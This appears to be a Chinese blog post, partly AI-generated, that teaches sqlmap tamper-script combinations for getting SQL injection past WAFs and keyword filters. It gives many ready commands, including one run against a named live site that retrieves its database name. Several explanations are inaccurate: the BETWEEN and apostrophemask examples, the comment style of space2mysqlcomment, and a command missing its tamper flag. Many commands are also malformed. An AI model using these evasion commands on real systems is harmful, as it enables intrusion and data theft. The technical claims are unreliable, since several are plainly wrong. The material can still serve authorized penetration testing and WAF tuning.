使用 sqlmap
检测漏洞时,tamper
脚本是绕过 Web 应用防火墙(WAF)、过滤规则或特殊编码的关键工具。以下是一些常见的 tamper
搭配,以及如何高效利用它们,结合实际场景进行说明。内容基于 sqlmap
的常见用法和社区实践,避免涉及任何非法操作。
Tamper
脚本用于修改 SQL 注入 payload,使其能够绕过目标系统的过滤机制(如 WAF、输入验证)。sqlmap
提供了丰富的 tamper 脚本,位于 tamper/
目录下。选择合适的 tamper 搭配需要根据目标网站的过滤规则、编码方式和数据库类型来决定。
高效利用 tamper 的原则:
sqlmap
日志,分析哪些 tamper 有效,哪些被过滤。以下是一些常见的 tamper 搭配,适用于不同场景。每个搭配都针对特定的过滤机制或 WAF 规则。
SELECT
, UNION
)常见搭配:
space2comment.py
:将空格替换为注释(如 /**/
)。equaltolike.py
:将 =
替换为 LIKE
。between.py
:将比较操作(如 >
, <
)替换为 BETWEEN
。适用场景:
SELECT
, UNION
)。示例命令:
sqlmap -u"http://example.com/index.php?id=1" --dbms=mysql
解释:
space2comment
将 SELECT id FROM users
转换为 SELECT/**/id/**/FROM/**/users
。equaltolike
将 id=1
转换为 id LIKE 1
。between
将 id>1
转换为 id BETWEEN 2 AND 999
。首先使用常规方法进行 sql 注入检测,发现可以检测出存在 SQL 注入,但是在进行数据查询时,无法正确获取,
命令:
sqlmap -u http://jz.xazlsec.com/w/album_list?tag=3-p tag --current-db --random-agent
如图:
尝试增加上述几个 tamper,发现可以正常获取数据库名,命令:
sqlmap -u http://jz.xazlsec.com/w/album_list?tag=3-p tag --current-db --random-agent --tamper=space2comment,equaltolike,between
结果如图(未获取完整数据,只做证明可以查询):
常见搭配:
randomcase.py
:随机更改关键字的大小写(如 SeLeCt
)。charencode.py
:对 payload 进行 URL 编码。适用场景:
示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=randomcase,charencode
解释:
randomcase
将 SELECT
变为 SeLeCt
或其他随机大小写组合。charencode
将 payload 编码为 %53%45%4C%45%43%54
,绕过简单字符串匹配。常见搭配:
space2comment.py
:替换空格。apostrophemask.py
:将单引号编码为 UTF-8 格式。base64encode.py
:将 payload 编码为 Base64。modsecurityversioned.py
:针对 ModSecurity WAF 的特定规则。适用场景:
示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2comment,apostrophemask,base64encode,modsecurityversioned --level=3
解释:
apostrophemask
将单引号 '
编码为 %27
或 UTF-8 格式。base64encode
将 payload 编码为 Base64,适用于某些特殊输入处理。modsecurityversioned
针对 ModSecurity 的规则集进行优化。MySQL 常见搭配:
space2mysqlcomment.py
:使用 MySQL 特有的注释(如 --
或 #
)。versionedkeywords.py
:添加 MySQL 版本特定的注释。unmagicquotes.py
:绕过 PHP 的魔术引号(magic quotes)。MSSQL 常见搭配:
mssqlcomments.py
:使用 MSSQL 特有的注释。charencode.py
:编码 payload 以绕过过滤。PostgreSQL 常见搭配:
space2dash.py
:将空格替换为 --
注释。greatest.py
:将 >
替换为 GREATEST
函数。示例命令(MySQL):
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2mysqlcomment,versionedkeywords,unmagicquotes --dbms=mysql
常见搭配:
charunicodeencode.py
:将 payload 编码为 Unicode 格式。multiplespaces.py
:在 payload 中插入多个空格。randomcomments.py
:随机插入 /**/
注释。适用场景:
<
, >
)或编码方式有严格限制。示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=charunicodeencode,multiplespaces,randomcomments
解释:
charunicodeencode
将字符编码为 \u0027
形式的 Unicode。multiplespaces
在 payload 中插入随机数量的空格。randomcomments
在 payload 中随机插入注释,增加混淆。--tamper
单独测试一个脚本,确认是否有效。--level
和 --risk
:--level=3
或更高,增加测试的 payload 种类。--risk=3
尝试更激进的注入方式,但注意可能触发 WAF 封锁。--dbms=mysql
或 --dbms=mssql
明确数据库类型,减少无关 payload 测试。--proxy
或 --tor
:--identify-waf
检测目标使用的 WAF(如 Cloudflare、ModSecurity)。cloudflare.py
)。--verbose=3
查看详细日志,分析哪些 payload 被拦截。tamper/
目录中的脚本模板)。sqlmap
进行漏洞测试,未经授权的扫描可能违法。sqlmap
,以获取最新的 tamper 脚本和功能。假设目标是一个 MySQL 数据库,存在 WAF 且过滤空格和关键字:
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2comment,equaltolike,apostrophemask,randomcase --dbms=mysql --level=3--risk=2--identify-waf
sqlmap
的 GitHub 仓库(tamper/
目录)提供所有 tamper 脚本的说明。sqlmap
论坛或 StackOverflow 上的案例,了解特定场景的 tamper 搭配。文章内容来自于 AI 生成,提问内容为:
使用 sqlmap 检测漏洞,有哪些常见 tamper 搭配,高效利用
经多多轮实际案例的测试,其中,场景 1 比较通用,很容易找到实际案例,可以作为常用命令使用,AI 真的是一个很好的帮手,在我们有需求时,可以提供很多方法可选,最终使用哪个,需要自己进行测试后选择。